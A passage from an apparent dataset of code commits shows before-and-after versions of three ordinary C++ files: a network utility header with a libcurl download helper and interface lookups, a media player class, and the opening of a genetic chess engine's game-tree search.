addr.sin_family = AF_INET;\n  addr.sin_addr.s_addr = ip;\n\n  char hostname[MAXHOSTNAMELEN];\n  if (getnameinfo(\n      (sockaddr*)&addr,\n      sizeof(addr),\n      hostname,\n      MAXHOSTNAMELEN,\n      NULL,\n      0,\n      0) != 0) {\n    return ErrnoError();\n  }\n\n  return std::string(hostname);\n}\n\n\n\/\/ Returns the names of all the link devices in the system.\ninline Try<std::set<std::string> > links()\n{\n#if !defined(__linux__) && !defined(__APPLE__)\n  return Error(\"Not implemented\");\n#else\n  struct ifaddrs* ifaddr = NULL;\n  if (getifaddrs(&ifaddr) == -1) {\n    return ErrnoError();\n  }\n\n  std::set<std::string> names;\n  for (struct ifaddrs* ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {\n    if (ifa->ifa_name != NULL) {\n      names.insert(ifa->ifa_name);\n    }\n  }\n\n  freeifaddrs(ifaddr);\n  return names;\n#endif\n}\n\n\n\/\/ Represents a MAC address. A MAC address is a 48-bit unique\n\/\/ identifier assigned to a network interface for communications on\n\/\/ the physical network segment. We use a byte array (in network\n\/\/ order) to represent a MAC address. For example, for a MAC address\n\/\/ 01:23:34:67:89:ab, the format is shown as follows:\n\/\/\n\/\/    MSB                                          LSB\n\/\/     |                                            |\n\/\/     v                                            v\n\/\/ +--------+--------+--------+--------+--------+--------+\n\/\/ |bytes[0]|bytes[1]|bytes[2]|bytes[3]|bytes[4]|bytes[5]|\n\/\/ +--------+--------+--------+--------+--------+--------+\n\/\/\n\/\/     01   :   23   :   45   :   67   :   89   :   ab\nclass MAC\n{\npublic:\n  \/\/ Returns the byte at the given index. For example, for a MAC\n  \/\/ address 01:23:45:67:89:ab, mac[0] = 01, mac[1] = 23 and etc.\n  uint8_t operator [] (size_t index) const\n  {\n    if (index >= 6) {\n      ABORT(\"Invalid index specified in MAC::operator []\\n\");\n    }\n\n    return bytes[index];\n  }\n\nprivate:\n  friend std::ostream& operator << (std::ostream& stream, const MAC& mac);\n  friend Result<MAC> mac(const std::string& name);\n\n  explicit MAC(uint8_t* _bytes)\n  {\n    for (size_t i = 0; i < 6; i++) {\n      bytes[i] = _bytes[i];\n    }\n  }\n\n  \/\/ Byte array of this MAC address (in network order).\n  uint8_t bytes[6];\n};\n\n\n\/\/ Returns the standard string format (IEEE 802) of the given MAC\n\/\/ address, which contains six groups of two hexadecimal digits,\n\/\/ separated by colons, in network order (e.g., 01:23:45:67:89:ab).\ninline std::ostream& operator << (std::ostream& stream, const MAC& mac)\n{\n  char buffer[18];\n\n  sprintf(\n      buffer,\n      \"%02hhx:%02hhx:%02hhx:%02hhx:%02hhx:%02hhx\",\n      mac.bytes[0],\n      mac.bytes[1],\n      mac.bytes[2],\n      mac.bytes[3],\n      mac.bytes[4],\n      mac.bytes[5]);\n\n  return stream << buffer;\n}\n\n\n\/\/ Returns the MAC address of a given link device. The link device is\n\/\/ specified using its name (e.g., eth0). Returns error if the link\n\/\/ device is not found. Returns none if the link device is found, but\n\/\/ does not have a MAC address (e.g., loopback).\ninline Result<MAC> mac(const std::string& name)\n{\n#if !defined(__linux__) && !defined(__APPLE__)\n  return Error(\"Not implemented\");\n#else\n  struct ifaddrs* ifaddr = NULL;\n  if (getifaddrs(&ifaddr) == -1) {\n    return ErrnoError();\n  }\n\n  \/\/ Indicates whether the link device is found or not.\n  bool found = false;\n\n  for (struct ifaddrs* ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {\n    if (ifa->ifa_name != NULL && !strcmp(ifa->ifa_name, name.c_str())) {\n      found = true;\n\n# if defined(__linux__)\n     if (ifa->ifa_addr != NULL && ifa->ifa_addr->sa_family == AF_PACKET) {\n        struct sockaddr_ll* link = (struct sockaddr_ll*) ifa->ifa_addr;\n\n        if (link->sll_halen == 6) {\n          MAC mac((uint8_t*) link->sll_addr);\n\n          \/\/ Ignore if the address is 0 so that the results are\n          \/\/ consistent on both OSX and Linux.\n          if (stringify(mac) == \"00:00:00:00:00:00\") {\n            continue;\n          }\n\n          freeifaddrs(ifaddr);\n          return mac;\n        }\n      }\n# elif defined(__APPLE__)\n      if (ifa->ifa_addr != NULL && ifa->ifa_addr->sa_family == AF_LINK) {\n        struct sockaddr_dl* link = (struct sockaddr_dl*) ifa->ifa_addr;\n\n        if (link->sdl_type == IFT_ETHER && link->sdl_alen == 6) {\n          MAC mac((uint8_t*) LLADDR(link));\n\n          freeifaddrs(ifaddr);\n          return mac;\n        }\n      }\n# endif\n    }\n  }\n\n  freeifaddrs(ifaddr);\n\n  if (!found) {\n    return Error(\"Cannot find the link device\");\n  }\n\n  return None();\n#endif\n}\n\n\n\/\/ Represents an IPv4 address. Besides the actual IP address, we also\n\/\/ store additional information about the address such as the net mask\n\/\/ which defines the subnet.\nclass IP\n{\npublic:\n  \/\/ Returns the IP address (in network order).\n  uint32_t address() const { return address_; }\n\n  \/\/ Returns the net mask (in network order).\n  Option<uint32_t> netmask() const { return netmask_; }\n\n  \/\/ Returns the prefix of the subnet defined by the net mask.\n  Option<size_t> prefix() const\n  {\n    if (netmask_.isNone()) {\n      return None();\n    }\n\n    \/\/ Convert the net mask to host order.\n    uint32_t mask = ntohl(netmask_.get());\n\n    size_t value = 0;\n    while (mask != 0) {\n      value += mask & 0x1;\n      mask >>= 1;\n    }\n\n    return value;\n  }\n\nprivate:\n  friend std::ostream& operator << (std::ostream& stream, const IP& ip);\n  friend Result<IP> ip(const std::string& name);\n\n  explicit IP(uint32_t _address) : address_(_address) {}\n\n  IP(uint32_t _address, uint32_t _netmask)\n    : address_(_address), netmask_(_netmask) {}\n\n  \/\/ IP address (in network order).\n  uint32_t address_;\n\n  \/\/ The optional net mask (in network order).\n  Option<uint32_t> netmask_;\n};\n\n\n\/\/ Returns the string representation of the given IP address using the\n\/\/ canonical dot-decimal form with prefix. For example: \"10.0.0.1\/8\".\ninline std::ostream& operator << (std::ostream& stream, const IP& ip)\n{\n  char buffer[INET_ADDRSTRLEN];\n\n  const char* addr = inet_ntop(AF_INET, &ip.address_, buffer, sizeof(buffer));\n  if (addr == NULL) {\n    \/\/ We do not expect inet_ntop to fail because all parameters\n    \/\/ passed in are valid.\n    std::string message =\n      \"inet_ntop returns error for address \" + stringify(ip.address());\n\n    perror(message.c_str());\n    abort();\n  }\n\n  stream << addr;\n\n  if (ip.prefix().isSome()) {\n    stream << \"\/\" << ip.prefix().get();\n  }\n\n  return stream;\n}\n\n\n\/\/ Returns the first available IPv4 address of a given link device.\n\/\/ The link device is specified using its name (e.g., eth0). Returns\n\/\/ error if the link device is not found. Returns none if the link\n\/\/ device is found, but does not have an IPv4 address.\n\/\/ TODO(jieyu): It is uncommon, but likely that a link device has\n\/\/ multiple IPv4 addresses. In that case, consider returning the\n\/\/ primary IP address instead of the first one.\ninline Result<IP> ip(const std::string& name)\n{\n#if !defined(__linux__) && !defined(__APPLE__)\n  return Error(\"Not implemented\");\n#else\n  struct ifaddrs* ifaddr = NULL;\n  if (getifaddrs(&ifaddr) == -1) {\n    return ErrnoError();\n  }\n\n  \/\/ Indicates whether the link device is found or not.\n  bool found = false;\n\n  for (struct ifaddrs* ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {\n    if (ifa->ifa_name != NULL && !strcmp(ifa->ifa_name, name.c_str())) {\n      found = true;\n\n      if (ifa->ifa_addr != NULL && ifa->ifa_addr->sa_family == AF_INET) {\n        struct sockaddr_in* addr = (struct sockaddr_in*) ifa->ifa_addr;\n\n        if (ifa->ifa_netmask != NULL &&\n            ifa->ifa_netmask->sa_family == AF_INET) {\n          struct sockaddr_in* netmask = (struct sockaddr_in*) ifa->ifa_netmask;\n\n          IP ip((uint32_t) addr->sin_addr.s_addr,\n                (uint32_t) netmask->sin_addr.s_addr);\n\n          freeifaddrs(ifaddr);\n          return ip;\n        }\n\n        \/\/ Note that this is the case where net mask is not specified.\n        \/\/ We've seen such cases when VPN is used.\n        IP ip((uint32_t) addr->sin_addr.s_addr);\n\n        freeifaddrs(ifaddr);\n        return ip;\n      }\n    }\n  }\n\n  freeifaddrs(ifaddr);\n\n  if (!found) {\n    return Error(\"Cannot find the link device\");\n  }\n\n  return None();\n#endif\n}\n\n} \/\/ namespace net {\n\n#endif \/\/ __STOUT_NET_HPP__\n<commit_msg>Adjusted the includes in stout\/net.hpp to avoid definition conflicts caused by netlink.<commit_after>\/**\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#ifndef __STOUT_NET_HPP__\n#define __STOUT_NET_HPP__\n\n#if defined(__linux__) || defined(__APPLE__)\n#include <ifaddrs.h>\n#endif\n#include <netdb.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <arpa\/inet.h>\n\n#ifdef __linux__\n#include <linux\/if.h>\n#include <linux\/if_packet.h>\n#endif\n\n#ifdef __APPLE__\n#include <net\/if.h>\n#include <net\/if_dl.h>\n#include <net\/if_types.h>\n#endif\n\n#include <sys\/param.h>\n#include <sys\/socket.h>\n#include <sys\/types.h>\n\n#include <curl\/curl.h>\n\n#include <iostream>\n#include <set>\n#include <string>\n\n#include \"abort.hpp\"\n#include \"error.hpp\"\n#include \"none.hpp\"\n#include \"option.hpp\"\n#include \"os.hpp\"\n#include \"result.hpp\"\n#include \"stringify.hpp\"\n#include \"try.hpp\"\n\n\n\/\/ Network utilities.\nnamespace net {\n\n\/\/ Returns the HTTP response code resulting from attempting to download the\n\/\/ specified HTTP or FTP URL into a file at the specified path.\ninline Try<int> download(const std::string& url, const std::string& path)\n{\n  Try<int> fd = os::open(\n      path, O_CREAT | O_WRONLY, S_IRUSR | S_IWUSR | S_IRGRP | S_IRWXO);\n\n  if (fd.isError()) {\n    return Error(fd.error());\n  }\n\n  curl_global_init(CURL_GLOBAL_ALL);\n  CURL* curl = curl_easy_init();\n\n  if (curl == NULL) {\n    curl_easy_cleanup(curl);\n    os::close(fd.get());\n    return Error(\"Failed to initialize libcurl\");\n  }\n\n  curl_easy_setopt(curl, CURLOPT_URL, url.c_str());\n  curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, NULL);\n\n  FILE* file = fdopen(fd.get(), \"w\");\n  if (file == NULL) {\n    return ErrnoError(\"Failed to open file handle of '\" + path + \"'\");\n  }\n  curl_easy_setopt(curl, CURLOPT_WRITEDATA, file);\n\n  CURLcode curlErrorCode = curl_easy_perform(curl);\n  if (curlErrorCode != 0) {\n    curl_easy_cleanup(curl);\n    fclose(file);\n    return Error(curl_easy_strerror(curlErrorCode));\n  }\n\n  long code;\n  curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &code);\n  curl_easy_cleanup(curl);\n\n  if (fclose(file) != 0) {\n    return ErrnoError(\"Failed to close file handle of '\" + path + \"'\");\n  }\n\n  return Try<int>::some(code);\n}\n\n\n\/\/ Returns a Try of the hostname for the provided IP. If the hostname cannot\n\/\/ be resolved, then a string version of the IP address is returned.\ninline Try<std::string> getHostname(uint32_t ip)\n{\n  sockaddr_in addr;\n  memset(&addr, 0, sizeof(addr));\n  addr.sin_family = AF_INET;\n  addr.sin_addr.s_addr = ip;\n\n  char hostname[MAXHOSTNAMELEN];\n  if (getnameinfo(\n      (sockaddr*)&addr,\n      sizeof(addr),\n      hostname,\n      MAXHOSTNAMELEN,\n      NULL,\n      0,\n      0) != 0) {\n    return ErrnoError();\n  }\n\n  return std::string(hostname);\n}\n\n\n\/\/ Returns the names of all the link devices in the system.\ninline Try<std::set<std::string> > links()\n{\n#if !defined(__linux__) && !defined(__APPLE__)\n  return Error(\"Not implemented\");\n#else\n  struct ifaddrs* ifaddr = NULL;\n  if (getifaddrs(&ifaddr) == -1) {\n    return ErrnoError();\n  }\n\n  std::set<std::string> names;\n  for (struct ifaddrs* ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {\n    if (ifa->ifa_name != NULL) {\n      names.insert(ifa->ifa_name);\n    }\n  }\n\n  freeifaddrs(ifaddr);\n  return names;\n#endif\n}\n\n\n\/\/ Represents a MAC address. A MAC address is a 48-bit unique\n\/\/ identifier assigned to a network interface for communications on\n\/\/ the physical network segment. We use a byte array (in network\n\/\/ order) to represent a MAC address. For example, for a MAC address\n\/\/ 01:23:34:67:89:ab, the format is shown as follows:\n\/\/\n\/\/    MSB                                          LSB\n\/\/     |                                            |\n\/\/     v                                            v\n\/\/ +--------+--------+--------+--------+--------+--------+\n\/\/ |bytes[0]|bytes[1]|bytes[2]|bytes[3]|bytes[4]|bytes[5]|\n\/\/ +--------+--------+--------+--------+--------+--------+\n\/\/\n\/\/     01   :   23   :   45   :   67   :   89   :   ab\nclass MAC\n{\npublic:\n  \/\/ Returns the byte at the given index. For example, for a MAC\n  \/\/ address 01:23:45:67:89:ab, mac[0] = 01, mac[1] = 23 and etc.\n  uint8_t operator [] (size_t index) const\n  {\n    if (index >= 6) {\n      ABORT(\"Invalid index specified in MAC::operator []\\n\");\n    }\n\n    return bytes[index];\n  }\n\nprivate:\n  friend std::ostream& operator << (std::ostream& stream, const MAC& mac);\n  friend Result<MAC> mac(const std::string& name);\n\n  explicit MAC(uint8_t* _bytes)\n  {\n    for (size_t i = 0; i < 6; i++) {\n      bytes[i] = _bytes[i];\n    }\n  }\n\n  \/\/ Byte array of this MAC address (in network order).\n  uint8_t bytes[6];\n};\n\n\n\/\/ Returns the standard string format (IEEE 802) of the given MAC\n\/\/ address, which contains six groups of two hexadecimal digits,\n\/\/ separated by colons, in network order (e.g., 01:23:45:67:89:ab).\ninline std::ostream& operator << (std::ostream& stream, const MAC& mac)\n{\n  char buffer[18];\n\n  sprintf(\n      buffer,\n      \"%02hhx:%02hhx:%02hhx:%02hhx:%02hhx:%02hhx\",\n      mac.bytes[0],\n      mac.bytes[1],\n      mac.bytes[2],\n      mac.bytes[3],\n      mac.bytes[4],\n      mac.bytes[5]);\n\n  return stream << buffer;\n}\n\n\n\/\/ Returns the MAC address of a given link device. The link device is\n\/\/ specified using its name (e.g., eth0). Returns error if the link\n\/\/ device is not found. Returns none if the link device is found, but\n\/\/ does not have a MAC address (e.g., loopback).\ninline Result<MAC> mac(const std::string& name)\n{\n#if !defined(__linux__) && !defined(__APPLE__)\n  return Error(\"Not implemented\");\n#else\n  struct ifaddrs* ifaddr = NULL;\n  if (getifaddrs(&ifaddr) == -1) {\n    return ErrnoError();\n  }\n\n  \/\/ Indicates whether the link device is found or not.\n  bool found = false;\n\n  for (struct ifaddrs* ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {\n    if (ifa->ifa_name != NULL && !strcmp(ifa->ifa_name, name.c_str())) {\n      found = true;\n\n# if defined(__linux__)\n     if (ifa->ifa_addr != NULL && ifa->ifa_addr->sa_family == AF_PACKET) {\n        struct sockaddr_ll* link = (struct sockaddr_ll*) ifa->ifa_addr;\n\n        if (link->sll_halen == 6) {\n          MAC mac((uint8_t*) link->sll_addr);\n\n          \/\/ Ignore if the address is 0 so that the results are\n          \/\/ consistent on both OSX and Linux.\n          if (stringify(mac) == \"00:00:00:00:00:00\") {\n            continue;\n          }\n\n          freeifaddrs(ifaddr);\n          return mac;\n        }\n      }\n# elif defined(__APPLE__)\n      if (ifa->ifa_addr != NULL && ifa->ifa_addr->sa_family == AF_LINK) {\n        struct sockaddr_dl* link = (struct sockaddr_dl*) ifa->ifa_addr;\n\n        if (link->sdl_type == IFT_ETHER && link->sdl_alen == 6) {\n          MAC mac((uint8_t*) LLADDR(link));\n\n          freeifaddrs(ifaddr);\n          return mac;\n        }\n      }\n# endif\n    }\n  }\n\n  freeifaddrs(ifaddr);\n\n  if (!found) {\n    return Error(\"Cannot find the link device\");\n  }\n\n  return None();\n#endif\n}\n\n\n\/\/ Represents an IPv4 address. Besides the actual IP address, we also\n\/\/ store additional information about the address such as the net mask\n\/\/ which defines the subnet.\nclass IP\n{\npublic:\n  \/\/ Returns the IP address (in network order).\n  uint32_t address() const { return address_; }\n\n  \/\/ Returns the net mask (in network order).\n  Option<uint32_t> netmask() const { return netmask_; }\n\n  \/\/ Returns the prefix of the subnet defined by the net mask.\n  Option<size_t> prefix() const\n  {\n    if (netmask_.isNone()) {\n      return None();\n    }\n\n    \/\/ Convert the net mask to host order.\n    uint32_t mask = ntohl(netmask_.get());\n\n    size_t value = 0;\n    while (mask != 0) {\n      value += mask & 0x1;\n      mask >>= 1;\n    }\n\n    return value;\n  }\n\nprivate:\n  friend std::ostream& operator << (std::ostream& stream, const IP& ip);\n  friend Result<IP> ip(const std::string& name);\n\n  explicit IP(uint32_t _address) : address_(_address) {}\n\n  IP(uint32_t _address, uint32_t _netmask)\n    : address_(_address), netmask_(_netmask) {}\n\n  \/\/ IP address (in network order).\n  uint32_t address_;\n\n  \/\/ The optional net mask (in network order).\n  Option<uint32_t> netmask_;\n};\n\n\n\/\/ Returns the string representation of the given IP address using the\n\/\/ canonical dot-decimal form with prefix. For example: \"10.0.0.1\/8\".\ninline std::ostream& operator << (std::ostream& stream, const IP& ip)\n{\n  char buffer[INET_ADDRSTRLEN];\n\n  const char* addr = inet_ntop(AF_INET, &ip.address_, buffer, sizeof(buffer));\n  if (addr == NULL) {\n    \/\/ We do not expect inet_ntop to fail because all parameters\n    \/\/ passed in are valid.\n    std::string message =\n      \"inet_ntop returns error for address \" + stringify(ip.address());\n\n    perror(message.c_str());\n    abort();\n  }\n\n  stream << addr;\n\n  if (ip.prefix().isSome()) {\n    stream << \"\/\" << ip.prefix().get();\n  }\n\n  return stream;\n}\n\n\n\/\/ Returns the first available IPv4 address of a given link device.\n\/\/ The link device is specified using its name (e.g., eth0). Returns\n\/\/ error if the link device is not found. Returns none if the link\n\/\/ device is found, but does not have an IPv4 address.\n\/\/ TODO(jieyu): It is uncommon, but likely that a link device has\n\/\/ multiple IPv4 addresses. In that case, consider returning the\n\/\/ primary IP address instead of the first one.\ninline Result<IP> ip(const std::string& name)\n{\n#if !defined(__linux__) && !defined(__APPLE__)\n  return Error(\"Not implemented\");\n#else\n  struct ifaddrs* ifaddr = NULL;\n  if (getifaddrs(&ifaddr) == -1) {\n    return ErrnoError();\n  }\n\n  \/\/ Indicates whether the link device is found or not.\n  bool found = false;\n\n  for (struct ifaddrs* ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {\n    if (ifa->ifa_name != NULL && !strcmp(ifa->ifa_name, name.c_str())) {\n      found = true;\n\n      if (ifa->ifa_addr != NULL && ifa->ifa_addr->sa_family == AF_INET) {\n        struct sockaddr_in* addr = (struct sockaddr_in*) ifa->ifa_addr;\n\n        if (ifa->ifa_netmask != NULL &&\n            ifa->ifa_netmask->sa_family == AF_INET) {\n          struct sockaddr_in* netmask = (struct sockaddr_in*) ifa->ifa_netmask;\n\n          IP ip((uint32_t) addr->sin_addr.s_addr,\n                (uint32_t) netmask->sin_addr.s_addr);\n\n          freeifaddrs(ifaddr);\n          return ip;\n        }\n\n        \/\/ Note that this is the case where net mask is not specified.\n        \/\/ We've seen such cases when VPN is used.\n        IP ip((uint32_t) addr->sin_addr.s_addr);\n\n        freeifaddrs(ifaddr);\n        return ip;\n      }\n    }\n  }\n\n  freeifaddrs(ifaddr);\n\n  if (!found) {\n    return Error(\"Cannot find the link device\");\n  }\n\n  return None();\n#endif\n}\n\n} \/\/ namespace net {\n\n#endif \/\/ __STOUT_NET_HPP__\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * MediaPlayer.cpp\n *\n *  Created on: 2016年12月5日\n *      Author: xzl\n *\/\n\n#include <algorithm>\n#include \"MediaPlayer.h\"\n#include \"Rtmp\/RtmpPlayerImp.h\"\n#include \"Rtsp\/RtspPlayerImp.h\"\n\nusing namespace ZL::Rtmp;\nusing namespace ZL::Rtsp;\n\nnamespace ZL {\nnamespace Player {\n\nMediaPlayer::MediaPlayer() {\n}\n\nMediaPlayer::~MediaPlayer() {\n\tif(!EventPoller::Instance().isMainThread()){\n\t\tFatalL << \"未在主线程释放\";\n\t}\n\tteardown();\n}\n\nvoid MediaPlayer::play(const char* strUrl, const char* strUser, const char* strPwd, eRtpType eType) {\n\tstring strPrefix = FindField(strUrl, NULL, \":\/\/\");\n\tif ((strcasecmp(m_strPrefix.data(),strPrefix.data()) != 0) || strPrefix.empty()) {\n\t\t\/\/协议切换\n\t\tm_strPrefix = strPrefix;\n\t\tm_parser = PlayerBase::createPlayer(strUrl);\n\t\tm_parser->setOnShutdown(m_shutdownCB);\n\t\tm_parser->setOnVideoCB(m_onGetVideoCB);\n\t\tm_parser->setOnAudioCB(m_onGetAudioCB);\n\t}\n\tm_parser->setOnPlayResult(m_playResultCB);\n\tm_parser->play(strUrl, strUser, strPwd, eType);\n}\n\nvoid MediaPlayer::pause(bool bPause) {\n\tif (m_parser) {\n\t\tm_parser->pause(bPause);\n\t}\n}\n\nvoid MediaPlayer::teardown() {\n\tif (m_parser) {\n\t\tm_parser->teardown();\n\t}\n}\n\n\n} \/* namespace Player *\/\n} \/* namespace ZL *\/\n<commit_msg>关闭log<commit_after>\/*\n * MediaPlayer.cpp\n *\n *  Created on: 2016年12月5日\n *      Author: xzl\n *\/\n\n#include <algorithm>\n#include \"MediaPlayer.h\"\n#include \"Rtmp\/RtmpPlayerImp.h\"\n#include \"Rtsp\/RtspPlayerImp.h\"\n\nusing namespace ZL::Rtmp;\nusing namespace ZL::Rtsp;\n\nnamespace ZL {\nnamespace Player {\n\nMediaPlayer::MediaPlayer() {\n}\n\nMediaPlayer::~MediaPlayer() {\n\tteardown();\n}\n\nvoid MediaPlayer::play(const char* strUrl, const char* strUser, const char* strPwd, eRtpType eType) {\n\tstring strPrefix = FindField(strUrl, NULL, \":\/\/\");\n\tif ((strcasecmp(m_strPrefix.data(),strPrefix.data()) != 0) || strPrefix.empty()) {\n\t\t\/\/协议切换\n\t\tm_strPrefix = strPrefix;\n\t\tm_parser = PlayerBase::createPlayer(strUrl);\n\t\tm_parser->setOnShutdown(m_shutdownCB);\n\t\tm_parser->setOnVideoCB(m_onGetVideoCB);\n\t\tm_parser->setOnAudioCB(m_onGetAudioCB);\n\t}\n\tm_parser->setOnPlayResult(m_playResultCB);\n\tm_parser->play(strUrl, strUser, strPwd, eType);\n}\n\nvoid MediaPlayer::pause(bool bPause) {\n\tif (m_parser) {\n\t\tm_parser->pause(bPause);\n\t}\n}\n\nvoid MediaPlayer::teardown() {\n\tif (m_parser) {\n\t\tm_parser->teardown();\n\t}\n}\n\n\n} \/* namespace Player *\/\n} \/* namespace ZL *\/\n<|endoftext|>"}
{"text":"<commit_before>#include \"Players\/Genetic_AI.h\"\n\n#include <iostream>\n#include <fstream>\n#include <cmath>\n#include <algorithm>\n#include <stdexcept>\n\n#include \"Moves\/Move.h\"\n#include \"Game\/Board.h\"\n#include \"Game\/Clock.h\"\n\n#include \"Exceptions\/Checkmate_Exception.h\"\n#include \"Exceptions\/Game_Ending_Exception.h\"\n\n#include \"Utility.h\"\n\nint Genetic_AI::next_id = 0;\n\nGenetic_AI::Genetic_AI() :\n    genome(),\n    id(next_id++)\n{\n}\n\n\/\/ Sexual reproduction\nGenetic_AI::Genetic_AI(const Genetic_AI& A, const Genetic_AI& B) :\n    genome(A.genome, B.genome),\n    id(next_id++)\n{\n}\n\nGenetic_AI::~Genetic_AI()\n{\n}\n\nGenetic_AI::Genetic_AI(const std::string& file_name)\n{\n    std::ifstream ifs(file_name);\n    if( ! ifs)\n    {\n        throw std::runtime_error(\"Could not read: \" + file_name);\n    }\n\n    read_from(ifs);\n}\n\nGenetic_AI::Genetic_AI(std::istream& is)\n{\n    read_from(is);\n}\n\nGenetic_AI::Genetic_AI(const std::string& file_name, int id_in) : id(id_in)\n{\n    if(id >= next_id)\n    {\n        next_id = id + 1;\n    }\n\n    std::ifstream ifs(file_name);\n    if( ! ifs)\n    {\n        throw std::runtime_error(\"Could not read: \" + file_name);\n    }\n\n    std::string line;\n    while(std::getline(ifs, line))\n    {\n        if( ! String::starts_with(line, \"ID:\"))\n        {\n            continue;\n        }\n\n        auto param_value = String::split(line, \":\", 1);\n        if(id_in == std::stoi(param_value[1]))\n        {\n            genome.read_from(ifs);\n            return;\n        }\n    }\n\n    throw std::runtime_error(\"Could not locate ID \" + std::to_string(id_in) + \" inside file \" + file_name);\n}\n\nvoid Genetic_AI::read_from(std::istream& is)\n{\n    std::string line;\n    id = -1;\n    while(std::getline(is, line))\n    {\n        if(line.empty())\n        {\n            continue;\n        }\n\n        if(String::starts_with(line, \"ID:\"))\n        {\n            id = std::stoi(String::split(line)[1]);\n            break;\n        }\n        else\n        {\n            throw std::runtime_error(\"Invalid Genetic_AI line: \" + line);\n        }\n    }\n\n    if( ! is)\n    {\n        throw std::runtime_error(\"Incomplete Genetic_AI spec in file for ID \" + std::to_string(id));\n    }\n\n    if(id >= next_id)\n    {\n        next_id = id + 1;\n    }\n\n    genome.read_from(is);\n}\n\nconst Complete_Move Genetic_AI::choose_move(const Board& board, const Clock& clock) const\n{\n    const auto& legal_moves = board.all_legal_moves();\n    if(legal_moves.size() == 1)\n    {\n        if(principal_variation.size() > 2 && principal_variation[1] == board.get_game_record().back())\n        {\n            \/\/ search_game_tree() assumes the principal variation starts\n            \/\/ with the previous move of this player. If a move was forced,\n            \/\/ then the principal variation needs to be updated to start with\n            \/\/ the next move of this side after checking that the immediately\n            \/\/ preceding move was the expected one.\n            principal_variation.erase(principal_variation.begin(),\n                                      principal_variation.begin() + 2);\n        }\n        else\n        {\n            principal_variation.clear();\n        }\n\n        return legal_moves.front(); \/\/ If there's only one legal move, take it.\n    }\n\n    auto time_to_use = genome.time_to_examine(board, clock);\n\n    \/\/ alpha = highest score found that opponent will allow\n    Game_Tree_Node_Result alpha_start = {Complete_Move(),\n                                         Math::lose_score,\n                                         board.whose_turn(),\n                                         0,\n                                         \"\"};\n    \/\/ beta = score that will cause opponent to choose a different prior move\n    Game_Tree_Node_Result beta_start = {Complete_Move(),\n                                        Math::win_score,\n                                        board.whose_turn(),\n                                        0,\n                                        \"\"};\n\n    auto result = search_game_tree(board,\n                                   time_to_use,\n                                   clock,\n                                   0,\n                                   alpha_start,\n                                   beta_start);\n\n    if(result.depth > 0)\n    {\n        board.add_commentary_to_next_move(result.commentary);\n        principal_variation = String::split(result.commentary);\n    }\n    else\n    {\n        principal_variation.clear();\n    }\n\n    return result.move;\n}\n\nbool better_than(const Game_Tree_Node_Result& a, const Game_Tree_Node_Result& b, Color perspective)\n{\n    auto scoreA = a.corrected_score(perspective);\n    auto scoreB = b.corrected_score(perspective);\n\n    if(scoreA > scoreB)\n    {\n        return true;\n    }\n\n    if(scoreA < scoreB)\n    {\n        return false;\n    }\n\n    \/\/ scoreA == scoreB\n\n    \/\/ Shorter path to winning is better\n    if(scoreA == Math::win_score)\n    {\n        return a.depth < b.depth;\n    }\n\n    \/\/ Longer path to losing is better\n    if(scoreA == Math::lose_score)\n    {\n        return a.depth > b.depth;\n    }\n\n    return false;\n}\n\nbool operator==(const Game_Tree_Node_Result& a, const Game_Tree_Node_Result& b)\n{\n    auto scoreA = a.corrected_score(WHITE);\n    auto scoreB = b.corrected_score(WHITE);\n\n    if(scoreA != scoreB)\n    {\n        return false;\n    }\n\n    \/\/ scoreA == scoreB\n\n    if(std::abs(scoreA) == Math::win_score)\n    {\n        return a.depth == b.depth;\n    }\n\n    return true;\n}\n\nGame_Tree_Node_Result Genetic_AI::search_game_tree(const Board& board,\n                                                   const double time_to_examine,\n                                                   const Clock& clock,\n                                                   const size_t depth,\n                                                   Game_Tree_Node_Result alpha,\n                                                   Game_Tree_Node_Result beta) const\n{\n    auto time_start = clock.time_left(clock.running_for());\n    auto all_legal_moves = board.all_legal_moves();\n\n    \/\/ The first item in the principal variation is the last move that\n    \/\/ this player made. Since then, the opponent has also made a move,\n    \/\/ so the first item in the principal variation corresponds to the\n    \/\/ game record item at game_record.size() - 2. The depth of the game\n    \/\/ tree search increments both the game_record index and the principal\n    \/\/ variation index in step.\n    bool still_on_principal_variation = false;\n    if(principal_variation.size() > depth + 2)\n    {\n        auto principal_variation_start_index = board.get_game_record().size() - depth - 2;\n        still_on_principal_variation = std::equal(board.get_game_record().begin() + principal_variation_start_index,\n                                                  board.get_game_record().end(),\n                                                  principal_variation.begin());\n\n        if(still_on_principal_variation)\n        {\n            auto next_principal_variation_move = principal_variation[depth + 2];\n            \/\/ remove non-move notation\n            next_principal_variation_move = String::strip_comments(next_principal_variation_move, '+');\n            next_principal_variation_move = String::strip_comments(next_principal_variation_move, '#');\n\n            auto move_iter = std::find_if(all_legal_moves.begin(),\n                                          all_legal_moves.end(),\n                                          [&next_principal_variation_move, &board](const auto& legal_move)\n                                          {\n                                              return legal_move.game_record_item(board) == next_principal_variation_move;\n                                          });\n\n            \/\/ Make sure that the principal variation is actually a legal move.\n            \/\/ This is purely for debugging as special circumstances (i.e., once\n            \/\/ per several thousand games) cause the principal variation to be\n            \/\/ invalidated without it being cleared.\n            if(move_iter == all_legal_moves.end())\n            {\n                board.ascii_draw(WHITE);\n                board.print_game_record(\"\",\"\",\"\",\"Principal Variation error\", 0);\n                for(const auto& item : principal_variation)\n                {\n                    std::cout << item << \" \";\n                }\n                std::cout << '\\n' << \"Depth: \" << depth << '\\n'\n                          << \"Next move in variation: \" << next_principal_variation_move << std::endl;\n                throw std::runtime_error(\"ERROR: bad variation code\");\n            }\n\n            \/\/ Put principal variation move at start of list to allow\n            \/\/ the most pruning later.\n            